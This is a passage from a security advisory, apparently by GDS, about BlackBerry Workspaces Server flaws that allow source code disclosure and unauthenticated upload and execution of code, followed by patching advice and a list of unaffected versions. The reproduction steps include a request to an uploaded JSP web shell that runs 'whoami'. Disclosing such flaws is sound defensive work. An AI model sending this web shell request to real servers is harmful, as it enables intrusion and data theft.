Reproduction Response #2

HTTP/1.1 200 OK

Reproduction Request #3

GET /whiteLabel/shell.jsp?cmd=whoami HTTP/1.1

Reproduction Response #3

HTTP/1.1 200 OK
<pre>Command was: <b>whoami</b>


CVE-2017-9368 allows unauthorized disclosure of application source code. This can be exploited by an unauthenticated user to discover additional security vulnerabilities (such as CVE-2017-9367).

CVE-2017-9367 allows an unauthenticated user to upload and run executable code, and as such can be used to compromise the integrity of the entire application and its data. For example, upon exploitation of this vulnerability, GDS was able to read the contents of the Workspace Server’s database and compromise highly sensitive information.


GDS recommends that affected users update immediately to a patched version of the product. BlackBerry has confirmed that the following Workspaces Server components are not affected:

  • Appliance-X version 1.12.0 and later
  • Appliance-X version 1.11.3 and later
  • vApp version 5.7.2 and later
  • vApp version 5.6.7 and later
  • vApp version 5.5.10 and later